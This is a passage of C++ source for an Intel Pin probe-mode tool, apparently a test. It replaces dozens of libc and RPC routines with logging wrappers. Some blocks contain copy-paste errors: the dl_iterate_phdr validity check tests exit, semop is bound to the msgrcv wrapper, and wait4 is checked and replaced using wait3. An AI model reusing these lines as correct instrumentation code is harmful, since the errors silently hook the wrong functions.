AFUNPTR fptr = (RTN_ReplaceProbed(rtnpmap_getmaps, AFUNPTR(mypmap_getmaps)));
fptrpmap_getmaps = (struct pmaplist * (*)( struct sockaddr_in *))fptr;
}
RTN rtnpmap_getport = RTN_FindByName(img, "pmap_getport");
if (RTN_Valid(rtnpmap_getport) && RTN_IsSafeForProbedReplacement(rtnpmap_getport))
{
OutFile << CurrentTime() << "Inserting probe for pmap_getport at " << RTN_Address(rtnpmap_getport) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpmap_getport, AFUNPTR(mypmap_getport)));
fptrpmap_getport = (u_short (*)(struct sockaddr_in *, u_long, u_long, u_int))fptr;
}
RTN rtnpmap_rmtcall = RTN_FindByName(img, "pmap_rmtcall");
if (RTN_Valid(rtnpmap_rmtcall) && RTN_IsSafeForProbedReplacement(rtnpmap_rmtcall))
{
OutFile << CurrentTime() << "Inserting probe for pmap_rmtcall at " << RTN_Address(rtnpmap_rmtcall) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpmap_rmtcall, AFUNPTR(mypmap_rmtcall)));
fptrpmap_rmtcall = (enum clnt_stat (*)(struct sockaddr_in *, u_long,
u_long, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t,
struct timeval, u_long *))fptr;
}
RTN rtnpmap_set = RTN_FindByName(img, "pmap_set");
if (RTN_Valid(rtnpmap_set) && RTN_IsSafeForProbedReplacement(rtnpmap_set))
{
OutFile << CurrentTime() << "Inserting probe for pmap_set at " << RTN_Address(rtnpmap_set) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpmap_set, AFUNPTR(mypmap_set)));
fptrpmap_set = (bool_t (*)(u_long, u_long, int, u_short))fptr;
}
RTN rtnclntraw_create = RTN_FindByName(img, "clntraw_create");
if (RTN_Valid(rtnclntraw_create)
&& RTN_IsSafeForProbedReplacement(rtnclntraw_create))
{
OutFile << CurrentTime() << "Inserting probe for clntraw_create at " << RTN_Address(rtnclntraw_create) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnclntraw_create, AFUNPTR(myclntraw_create)));
fptrclntraw_create = (CLIENT * (*)(u_long, u_long))fptr;
}
RTN rtnsvc_run = RTN_FindByName(img, "svc_run");
if (RTN_Valid(rtnsvc_run) && RTN_IsSafeForProbedReplacement(rtnsvc_run))
{
OutFile << CurrentTime() << "Inserting probe for svc_run at "
<< RTN_Address(rtnsvc_run) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsvc_run, AFUNPTR(mysvc_run)));
fptrsvc_run = (void (*)())fptr;
}
RTN rtnsvc_sendreply = RTN_FindByName(img, "svc_sendreply");
if (RTN_Valid(rtnsvc_sendreply) && RTN_IsSafeForProbedReplacement(rtnsvc_sendreply))
{
OutFile << CurrentTime() << "Inserting probe for svc_sendreply at " << RTN_Address(rtnsvc_sendreply) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsvc_sendreply, AFUNPTR(mysvc_sendreply)));
fptrsvc_sendreply = (bool_t (*)(SVCXPRT *, xdrproc_t, caddr_t))fptr;
}
RTN rtnsvcraw_create = RTN_FindByName(img, "svcraw_create");
if (RTN_Valid(rtnsvcraw_create) && RTN_IsSafeForProbedReplacement(rtnsvcraw_create))
{
OutFile << CurrentTime() << "Inserting probe for svcraw_create at " << RTN_Address(rtnsvcraw_create) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsvcraw_create, AFUNPTR(mysvcraw_create)));
fptrsvcraw_create = (SVCXPRT * (*)())fptr;
}
RTN rtnsvctcp_create = RTN_FindByName(img, "svctcp_create");
if (RTN_Valid(rtnsvctcp_create) && RTN_IsSafeForProbedReplacement(rtnsvctcp_create))
{
OutFile << CurrentTime() << "Inserting probe for svctcp_create at " << RTN_Address(rtnsvctcp_create) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsvctcp_create, AFUNPTR(mysvctcp_create)));
fptrsvctcp_create = (SVCXPRT * (*)(int, u_int, u_int))fptr;
}
RTN rtnsvcudp_bufcreate = RTN_FindByName(img, "svcudp_bufcreate");
if (RTN_Valid(rtnsvcudp_bufcreate) && RTN_IsSafeForProbedReplacement(rtnsvcudp_bufcreate))
{
OutFile << CurrentTime() << "Inserting probe for svcudp_bufcreate at " << RTN_Address(rtnsvcudp_bufcreate) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsvcudp_bufcreate, AFUNPTR(mysvcudp_bufcreate)));
fptrsvcudp_bufcreate = (SVCXPRT * (*)(int, u_int, u_int))fptr;
}
RTN rtnsvcudp_create = RTN_FindByName(img, "svcudp_create");
if (RTN_Valid(rtnsvcudp_create) && RTN_IsSafeForProbedReplacement(rtnsvcudp_create))
{
OutFile << CurrentTime() << "Inserting probe for svcudp_create at " << RTN_Address(rtnsvcudp_create) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsvcudp_create, AFUNPTR(mysvcudp_create)));
fptrsvcudp_create = (SVCXPRT * (*)(int))fptr;
}
RTN rtnabort = RTN_FindByName(img, "abort");
if (RTN_Valid(rtnabort) && RTN_IsSafeForProbedReplacement(rtnabort))
{
OutFile << CurrentTime() << "Inserting probe for abort at " << RTN_Address(rtnabort) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnabort, AFUNPTR(myabort)));
fptrabort = (void (*)())fptr;
}
RTN rtn_exit = RTN_FindByName(img, "_exit");
if (RTN_Valid(rtn_exit) && RTN_IsSafeForProbedReplacement(rtn_exit))
{
OutFile << CurrentTime() << "Inserting probe for _exit at " << RTN_Address(rtn_exit) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtn_exit, AFUNPTR(my_exit)));
fptr_exit = (void (*)(int))fptr;
}
RTN rtnnanosleep = RTN_FindByName(img, "nanosleep");
if (RTN_Valid(rtnnanosleep) && RTN_IsSafeForProbedReplacement(rtnnanosleep))
{
OutFile << CurrentTime() << "Inserting probe for nanosleep at " << RTN_Address(rtnnanosleep) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnnanosleep, AFUNPTR(my_nanosleep)));
fptrnanosleep = (int (*)(const struct timespec *, struct timespec *))fptr;
}
RTN rtnsignal = RTN_FindByName(img, "signal");
if (RTN_Valid(rtnsignal) && RTN_IsSafeForProbedReplacement(rtnsignal))
{
OutFile << CurrentTime() << "Inserting probe for signal at " << RTN_Address(rtnsignal) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsignal, AFUNPTR(mysignal)));
fptrsignal = (__sighandler_t (*)(int, __sighandler_t))fptr;
}
RTN rtnsigprocmask = RTN_FindByName(img, "sigprocmask");
if (RTN_Valid(rtnsigprocmask) && RTN_IsSafeForProbedReplacement(rtnsigprocmask))
{
OutFile << CurrentTime() << "Inserting probe for sigprocmask at " << RTN_Address(rtnsigprocmask) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigprocmask, AFUNPTR(mysigprocmask)));
fptrsigprocmask = (int (*)(int, __const sigset_t *__restrict, sigset_t *__restrict))fptr;
}
RTN rtnsigpending = RTN_FindByName(img, "sigpending");
if (RTN_Valid(rtnsigpending) && RTN_IsSafeForProbedReplacement(rtnsigpending))
{
OutFile << CurrentTime() << "Inserting probe for sigpending at " << RTN_Address(rtnsigpending) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigpending, AFUNPTR(mysigpending)));
fptrsigpending = (int (*)(sigset_t *))fptr;
}
RTN rtnsigaction = RTN_FindByName(img, "sigaction");
if (RTN_Valid(rtnsigaction) && RTN_IsSafeForProbedReplacement(rtnsigaction))
{
OutFile << CurrentTime() << "Inserting probe for sigaction at " << RTN_Address(rtnsigaction) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigaction, AFUNPTR(mysigaction)));
fptrsigaction = (int (*)(int __sig, __const struct sigaction *__restrict __act, struct sigaction *__restrict __oact))fptr;
}
RTN rtnsetitimer = RTN_FindByName(img, "setitimer");
if (RTN_Valid(rtnsetitimer) && RTN_IsSafeForProbedReplacement(rtnsetitimer))
{
OutFile << CurrentTime() << "Inserting probe for setitimer at " << RTN_Address(rtnsetitimer) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsetitimer, AFUNPTR(mysetitimer)));
fptrsetitimer = (int (*)(__itimer_which_t, __const struct itimerval *__restrict, struct itimerval *__restrict))fptr;
}
RTN rtnexit = RTN_FindByName(img, "exit");
if (RTN_Valid(rtnexit) && RTN_IsSafeForProbedReplacement(rtnexit))
{
OutFile << CurrentTime() << "Inserting probe for exit at " << RTN_Address(rtnexit) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnexit, AFUNPTR(myexit)));
fptrexit = (void (*)(int))fptr;
}
RTN rtndl_iterate_phdr = RTN_FindByName(img, "dl_iterate_phdr");
if (RTN_Valid(rtnexit) && RTN_IsSafeForProbedReplacement(rtndl_iterate_phdr))
{
OutFile << CurrentTime() << "Inserting probe for dl_iterate_phdr at " << RTN_Address(rtndl_iterate_phdr) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtndl_iterate_phdr, AFUNPTR(mydl_iterate_phdr)));
fptrdl_iterate_phdr = (int (*)( int (*callback)(struct dl_phdr_info *info, size_t size, VOID_PTR data), VOID_PTR data))fptr;
}
RTN rtnsystem = RTN_FindByName(img, "system");
if (RTN_Valid(rtnsystem) && RTN_IsSafeForProbedReplacement(rtnsystem))
{
OutFile << CurrentTime() << "Inserting probe for system at "
<< RTN_Address(rtnsystem) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsystem, AFUNPTR(mysystem)));
fptrsystem = (int (*)(const CHAR_PTR ))fptr;
}
RTN rtnalarm = RTN_FindByName(img, "alarm");
if (RTN_Valid(rtnalarm) && RTN_IsSafeForProbedReplacement(rtnalarm))
{
OutFile << CurrentTime() << "Inserting probe for alarm at "
<< RTN_Address(rtnalarm) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnalarm, AFUNPTR(myalarm)));
fptralarm = (unsigned int (*)(unsigned int))fptr;
}
RTN rtnrecvmsg = RTN_FindByName(img, "recvmsg");
if (RTN_Valid(rtnrecvmsg) && RTN_IsSafeForProbedReplacement(rtnrecvmsg))
{
OutFile << CurrentTime() << "Inserting probe for recvmsg at " << RTN_Address(rtnrecvmsg) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnrecvmsg, AFUNPTR(myrecvmsg)));
fptrrecvmsg = (ssize_t (*)(int, struct msghdr *, int))fptr;
}
RTN rtnsendmsg = RTN_FindByName(img, "sendmsg");
if (RTN_Valid(rtnsendmsg) && RTN_IsSafeForProbedReplacement(rtnsendmsg))
{
OutFile << CurrentTime() << "Inserting probe for sendmsg at "
<< RTN_Address(rtnsendmsg) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsendmsg, AFUNPTR(mysendmsg)));
fptrsendmsg = (ssize_t (*)(int, const struct msghdr *, int))fptr;
}
RTN rtnpause = RTN_FindByName(img, "pause");
if (RTN_Valid(rtnpause) && RTN_IsSafeForProbedReplacement(rtnpause))
{
OutFile << CurrentTime() << "Inserting probe for pause at "
<< RTN_Address(rtnpause) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpause, AFUNPTR(mypause)));
fptrpause = (int (*)(void))fptr;
}
RTN rtnsigtimedwait = RTN_FindByName(img, "sigtimedwait");
if (RTN_Valid(rtnsigtimedwait) && RTN_IsSafeForProbedReplacement(rtnsigtimedwait))
{
OutFile << CurrentTime() << "Inserting probe for sigtimedwait at " << RTN_Address(rtnsigtimedwait) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigtimedwait, AFUNPTR(mysigtimedwait)));
fptrsigtimedwait = (int (*)(const sigset_t *, siginfo_t *, const struct timespec *))fptr;
}
RTN rtnsigwaitinfo = RTN_FindByName(img, "sigwaitinfo");
if (RTN_Valid(rtnsigwaitinfo) && RTN_IsSafeForProbedReplacement(rtnsigwaitinfo))
{
OutFile << CurrentTime() << "Inserting probe for sigwaitinfo at " << RTN_Address(rtnsigwaitinfo) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigwaitinfo, AFUNPTR(mysigwaitinfo)));
fptrsigwaitinfo = (int (*)(const sigset_t *, siginfo_t *))fptr;
}
RTN rtnepoll_wait = RTN_FindByName(img, "epoll_wait");
if (RTN_Valid(rtnepoll_wait) && RTN_IsSafeForProbedReplacement(rtnepoll_wait))
{
OutFile << CurrentTime() << "Inserting probe for epoll_wait at " << RTN_Address(rtnepoll_wait) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnepoll_wait, AFUNPTR(myepoll_wait)));
fptrepoll_wait = (int (*)(int, struct epoll_event *, int, int))fptr;
}
RTN rtnppoll = RTN_FindByName(img, "ppoll");
if (RTN_Valid(rtnppoll) && RTN_IsSafeForProbedReplacement(rtnppoll))
{
OutFile << CurrentTime() << "Inserting probe for ppoll at " << RTN_Address(rtnppoll) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnppoll, AFUNPTR(myppoll)));
fptrppoll = (int (*)(struct pollfd *, nfds_t, const struct timespec *, const sigset_t *))fptr;
}
RTN rtnmsgsnd = RTN_FindByName(img, "msgsnd");
if (RTN_Valid(rtnmsgsnd) && RTN_IsSafeForProbedReplacement(rtnmsgsnd))
{
OutFile << CurrentTime() << "Inserting probe for msgsnd at " << RTN_Address(rtnmsgsnd) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmsgsnd, AFUNPTR(mymsgsnd)));
fptrmsgsnd = (int (*)(int, const VOID_PTR , size_t, int))fptr;
}
RTN rtnmsgrcv = RTN_FindByName(img, "msgrcv");
if (RTN_Valid(rtnmsgrcv) && RTN_IsSafeForProbedReplacement(rtnmsgrcv))
{
OutFile << CurrentTime() << "Inserting probe for msgrcv at " << RTN_Address(rtnmsgrcv) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmsgrcv, AFUNPTR(mymsgrcv)));
fptrmsgrcv = (ssize_t (*)(int, VOID_PTR , size_t, long, int))fptr;
}
RTN rtnsemop = RTN_FindByName(img, "semop");
if (RTN_Valid(rtnsemop) && RTN_IsSafeForProbedReplacement(rtnsemop))
{
OutFile << CurrentTime() << "Inserting probe for semop at " << RTN_Address(rtnsemop) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsemop, AFUNPTR(mymsgrcv)));
fptrsemop = (int (*)(int, struct sembuf *, unsigned))fptr;
}
RTN rtnsemtimedop = RTN_FindByName(img, "semtimedop");
if (RTN_Valid(rtnsemtimedop)
&& RTN_IsSafeForProbedReplacement(rtnsemtimedop)) {
OutFile << CurrentTime() << "Inserting probe for semtimedop at "
<< RTN_Address(rtnsemtimedop) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsemtimedop,
AFUNPTR(mysemtimedop)));
fptrsemtimedop = (int (*)(int, struct sembuf *))fptr;}
RTN rtnusleep = RTN_FindByName(img, "usleep");
if (RTN_Valid(rtnusleep) && RTN_IsSafeForProbedReplacement(rtnusleep)) {
OutFile << CurrentTime() << "Inserting probe for usleep at "
<< RTN_Address(rtnusleep) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnusleep, AFUNPTR(myusleep)));
fptrusleep = (int (*)(useconds_t))fptr;}
RTN rtnualarm = RTN_FindByName(img, "ualarm");
if (RTN_Valid(rtnualarm) && RTN_IsSafeForProbedReplacement(rtnualarm)) {
OutFile << CurrentTime() << "Inserting probe for ualarm at "
<< RTN_Address(rtnualarm) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnualarm, AFUNPTR(myualarm)));
fptrualarm = (useconds_t (*)(useconds_t, useconds_t))fptr;}
RTN rtngetitimer = RTN_FindByName(img, "getitimer");
if (RTN_Valid(rtngetitimer) && RTN_IsSafeForProbedReplacement(rtngetitimer))
{
OutFile << CurrentTime() << "Inserting probe for getitimer at " << RTN_Address(rtngetitimer) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetitimer, AFUNPTR(mygetitimer)));
fptrgetitimer = (int (*)(int, struct itimerval *))fptr;}
RTN rtnsigwait = RTN_FindByName(img, "sigwait");
if (RTN_Valid(rtnsigwait) && RTN_IsSafeForProbedReplacement(rtnsigwait))
{
OutFile << CurrentTime() << "Inserting probe for sigwait at " << RTN_Address(rtnsigwait) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigwait, AFUNPTR(mysigwait)));
fptrsigwait = (int (*)(const sigset_t *, INT_PTR ))fptr;
}
RTN rtnmsgget = RTN_FindByName(img, "msgget");
if (RTN_Valid(rtnmsgget) && RTN_IsSafeForProbedReplacement(rtnmsgget))
{
OutFile << CurrentTime() << "Inserting probe for msgget at " << RTN_Address(rtnmsgget) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmsgget, AFUNPTR(mymsgget)));
fptrmsgget = (int (*)(key_t, int))fptr;
}
RTN rtnsemget = RTN_FindByName(img, "semget");
if (RTN_Valid(rtnsemget) && RTN_IsSafeForProbedReplacement(rtnsemget))
{
OutFile << CurrentTime() << "Inserting probe for semget at " << RTN_Address(rtnsemget) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsemget, AFUNPTR(mysemget)));
fptrsemget = (int (*)(key_t, int, int))fptr;
}
RTN rtnwait = RTN_FindByName(img, "wait");
if (RTN_Valid(rtnwait) && RTN_IsSafeForProbedReplacement(rtnwait))
{
OutFile << CurrentTime() << "Inserting probe for wait at " << RTN_Address(rtnwait) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwait, AFUNPTR(mywait)));
fptrwait = (pid_t (*)(INT_PTR ))fptr;
}
RTN rtnwaitpid = RTN_FindByName(img, "waitpid");
if (RTN_Valid(rtnwaitpid) && RTN_IsSafeForProbedReplacement(rtnwaitpid))
{
OutFile << CurrentTime() << "Inserting probe for waitpid at " << RTN_Address(rtnwaitpid) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwaitpid, AFUNPTR(mywaitpid)));
fptrwaitpid = (pid_t (*)(pid_t, INT_PTR , int))fptr;
}
RTN rtnwaitid = RTN_FindByName(img, "waitid");
if (RTN_Valid(rtnwaitid) && RTN_IsSafeForProbedReplacement(rtnwaitid))
{
OutFile << CurrentTime() << "Inserting probe for waitid at " << RTN_Address(rtnwaitid) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwaitid, AFUNPTR(mywaitid)));
fptrwaitid = (int (*)(idtype_t, id_t, siginfo_t *, int))fptr;
}
RTN rtnwait3 = RTN_FindByName(img, "wait3");
if (RTN_Valid(rtnwait3) && RTN_IsSafeForProbedReplacement(rtnwait3))
{
OutFile << CurrentTime() << "Inserting probe for wait3 at " << RTN_Address(rtnwait3) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwait3, AFUNPTR(mywait3)));
fptrwait3 = (pid_t (*)(INT_PTR , int, struct rusage *))fptr;
}
RTN rtnwait4 = RTN_FindByName(img, "wait4");
if (RTN_Valid(rtnwait3) && RTN_IsSafeForProbedReplacement(rtnwait4))
{
OutFile << CurrentTime() << "Inserting probe for wait4 at " << RTN_Address(rtnwait4) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwait3, AFUNPTR(mywait4)));
fptrwait4 = (pid_t (*)(pid_t, INT_PTR , int, struct rusage *))fptr;
}
RTN rtnreadv = RTN_FindByName(img, "readv");
if (RTN_Valid(rtnreadv) && RTN_IsSafeForProbedReplacement(rtnreadv))
{
OutFile << CurrentTime() << "Inserting probe for readv at " << RTN_Address(rtnreadv) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnreadv, AFUNPTR(myreadv)));
fptrreadv = (ssize_t (*)(int, const struct iovec *, int))fptr;
}
RTN rtnwritev = RTN_FindByName(img, "writev");
if (RTN_Valid(rtnwritev) && RTN_IsSafeForProbedReplacement(rtnwritev))
{
OutFile << CurrentTime() << "Inserting probe for writev at " << RTN_Address(rtnwritev) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwritev, AFUNPTR(mywritev)));
fptrwritev = (ssize_t (*)(int, const struct iovec *, int))fptr;
}
RTN rtnflockfile = RTN_FindByName(img, "flockfile");
if (RTN_Valid(rtnflockfile) && RTN_IsSafeForProbedReplacement(rtnflockfile))
{
OutFile << CurrentTime() << "Inserting probe for flockfile at " << RTN_Address(rtnflockfile) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnflockfile, AFUNPTR(myflockfile)));
fptrflockfile = (void (*)(FILE *))fptr;
}
RTN rtnfunlockfile = RTN_FindByName(img, "funlockfile");
if (RTN_Valid(rtnfunlockfile)
&& RTN_IsSafeForProbedReplacement(rtnfunlockfile)) {
OutFile << CurrentTime() << "Inserting probe for funlockfile at "
<< RTN_Address(rtnfunlockfile) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfunlockfile,
AFUNPTR(myfunlockfile)));
fptrfunlockfile = (void (*)(FILE *))fptr;}
RTN rtnlockf = RTN_FindByName(img, "lockf");
if (RTN_Valid(rtnlockf) && RTN_IsSafeForProbedReplacement(rtnlockf))
{
OutFile << CurrentTime() << "Inserting probe for lockf at " << RTN_Address(rtnlockf) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnlockf, AFUNPTR(mylockf)));
fptrlockf = (int (*)(int, int, off_t))fptr;
}
RTN rtnsetenv = RTN_FindByName(img, "setenv");
if (RTN_Valid(rtnsetenv) && RTN_IsSafeForProbedReplacement(rtnsetenv))
{
OutFile << CurrentTime() << "Inserting probe for setenv at " << RTN_Address(rtnsetenv) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsetenv, AFUNPTR(mysetenv)));
fptrsetenv = (int (*)(const CHAR_PTR , const CHAR_PTR , int))fptr;
}
RTN rtnunsetenv = RTN_FindByName(img, "unsetenv");
if (RTN_Valid(rtnunsetenv) && RTN_IsSafeForProbedReplacement(rtnunsetenv))
{
OutFile << CurrentTime() << "Inserting probe for unsetenv at " << RTN_Address(rtnunsetenv) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnunsetenv, AFUNPTR(myunsetenv)));
fptrunsetenv = (int (*)(const CHAR_PTR ))fptr;
}
RTN rtngetenv = RTN_FindByName(img, "getenv");
if (RTN_Valid(rtngetenv) && RTN_IsSafeForProbedReplacement(rtngetenv))
{
OutFile << CurrentTime() << "Inserting probe for getenv at "
<< RTN_Address(rtngetenv) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetenv, AFUNPTR(mygetenv)));
fptrgetenv = (CHAR_PTR (*)(const CHAR_PTR ))fptr;
}
RTN rtnperror = RTN_FindByName(img, "perror");
if (RTN_Valid(rtnperror) && RTN_IsSafeForProbedReplacement(rtnperror))
{
OutFile << CurrentTime() << "Inserting probe for perror at "
<< RTN_Address(rtnperror) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnperror, AFUNPTR(myperror)));
fptrperror = (void (*)(const CHAR_PTR ))fptr;
}
RTN rtnmmap = RTN_FindByName(img, "mmap");
if (RTN_Valid(rtnmmap) && RTN_IsSafeForProbedReplacement(rtnmmap))
{
OutFile << CurrentTime() << "Inserting probe for mmap at "
<< RTN_Address(rtnmmap) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmmap, AFUNPTR(mymmap)));
fptrmmap = (VOID_PTR (*)(VOID_PTR , size_t, int, int, int, off_t))fptr;
}
RTN rtnmunmap = RTN_FindByName(img, "munmap");
if (RTN_Valid(rtnmunmap) && RTN_IsSafeForProbedReplacement(rtnmunmap))
{
OutFile << CurrentTime() << "Inserting probe for munmap at "
<< RTN_Address(rtnmunmap) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmunmap, AFUNPTR(mymunmap)));
fptrmunmap = (int (*)(VOID_PTR , size_t))fptr;
}
RTN rtnfileno = RTN_FindByName(img, "fileno");
if (RTN_Valid(rtnfileno) && RTN_IsSafeForProbedReplacement(rtnfileno))
{
OutFile << CurrentTime() << "Inserting probe for fileno at "
<< RTN_Address(rtnfileno) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfileno, AFUNPTR(myfileno)));
fptrfileno = (int (*)(FILE *))fptr;
}
RTN rtngetpid = RTN_FindByName(img, "getpid");
if (RTN_Valid(rtngetpid) && RTN_IsSafeForProbedReplacement(rtngetpid))
{
OutFile << CurrentTime() << "Inserting probe for getpid at "
<< RTN_Address(rtngetpid) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetpid, AFUNPTR(mygetpid)));
fptrgetpid = (pid_t (*)(void))fptr;
}
RTN rtngetppid = RTN_FindByName(img, "getppid");
if (RTN_Valid(rtngetppid) && RTN_IsSafeForProbedReplacement(rtngetppid))
{
OutFile << CurrentTime() << "Inserting probe for getppid at " << RTN_Address(rtngetppid) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetppid, AFUNPTR(mygetppid)));
fptrgetppid = (pid_t (*)(void))fptr;
}
RTN rtnmemset = RTN_FindByName(img, "memset");
if (RTN_Valid(rtnmemset) && RTN_IsSafeForProbedReplacement(rtnmemset))
{
OutFile << CurrentTime() << "Inserting probe for memset at " << RTN_Address(rtnmemset) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmemset, AFUNPTR(mymemset)));
fptrmemset = (VOID_PTR (*)(VOID_PTR , int, size_t))fptr;
}
RTN rtnmemcpy = RTN_FindByName(img, "memcpy");
if (RTN_Valid(rtnmemcpy) && RTN_IsSafeForProbedReplacement(rtnmemcpy))
{
OutFile << CurrentTime() << "Inserting probe for memcpy at " << RTN_Address(rtnmemcpy) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnmemcpy, AFUNPTR(mymemcpy)));
fptrmemcpy = (VOID_PTR (*)(VOID_PTR , const VOID_PTR , size_t))fptr;
}
RTN rtnaccess = RTN_FindByName(img, "access");
if (RTN_Valid(rtnaccess) && RTN_IsSafeForProbedReplacement(rtnaccess))
{
OutFile << CurrentTime() << "Inserting probe for access at " << RTN_Address(rtnaccess) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnaccess, AFUNPTR(myaccess)));
fptraccess = (int (*)(const CHAR_PTR , int))fptr;
}
RTN rtnlseek = RTN_FindByName(img, "lseek");
if (RTN_Valid(rtnlseek) && RTN_IsSafeForProbedReplacement(rtnlseek))
{
OutFile << CurrentTime() << "Inserting probe for lseek at " << RTN_Address(rtnlseek) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnlseek, AFUNPTR(mylseek)));
fptrlseek = (off_t (*)(int, off_t, int))fptr;
}
RTN rtnlseek64 = RTN_FindByName(img, "lseek64");
if (RTN_Valid(rtnlseek64) && RTN_IsSafeForProbedReplacement(rtnlseek64))
{
OutFile << CurrentTime() << "Inserting probe for lseek64 at " << RTN_Address(rtnlseek64) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnlseek64, AFUNPTR(mylseek64)));
fptrlseek64 = (off64_t (*)(int, off64_t, int))fptr;
}
RTN rtnfdatasync = RTN_FindByName(img, "fdatasync");
if (RTN_Valid(rtnfdatasync) && RTN_IsSafeForProbedReplacement(rtnfdatasync))
{
OutFile << CurrentTime() << "Inserting probe for fdatasync at " << RTN_Address(rtnfdatasync) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfdatasync, AFUNPTR(myfdatasync)));
fptrfdatasync = (int (*)(int))fptr;
}
RTN rtnunlink = RTN_FindByName(img, "unlink");
if (RTN_Valid(rtnunlink) && RTN_IsSafeForProbedReplacement(rtnunlink))
{
OutFile << CurrentTime() << "Inserting probe for unlink at " << RTN_Address(rtnunlink) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnunlink, AFUNPTR(myunlink)));
fptrunlink = (int (*)(const CHAR_PTR ))fptr;
}
RTN rtnstrlen = RTN_FindByName(img, "strlen");
if (RTN_Valid(rtnstrlen) && RTN_IsSafeForProbedReplacement(rtnstrlen))
{
OutFile << CurrentTime() << "Inserting probe for strlen at " << RTN_Address(rtnstrlen) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrlen, AFUNPTR(mystrlen)));
fptrstrlen = (size_t (*)(const CHAR_PTR ))fptr;
}
RTN rtnwcslen = RTN_FindByName(img, "wcslen");
if (RTN_Valid(rtnwcslen) && RTN_IsSafeForProbedReplacement(rtnwcslen))
{
OutFile << CurrentTime() << "Inserting probe for wcslen at "<< RTN_Address(rtnwcslen) << endl;
OutFile.flush();
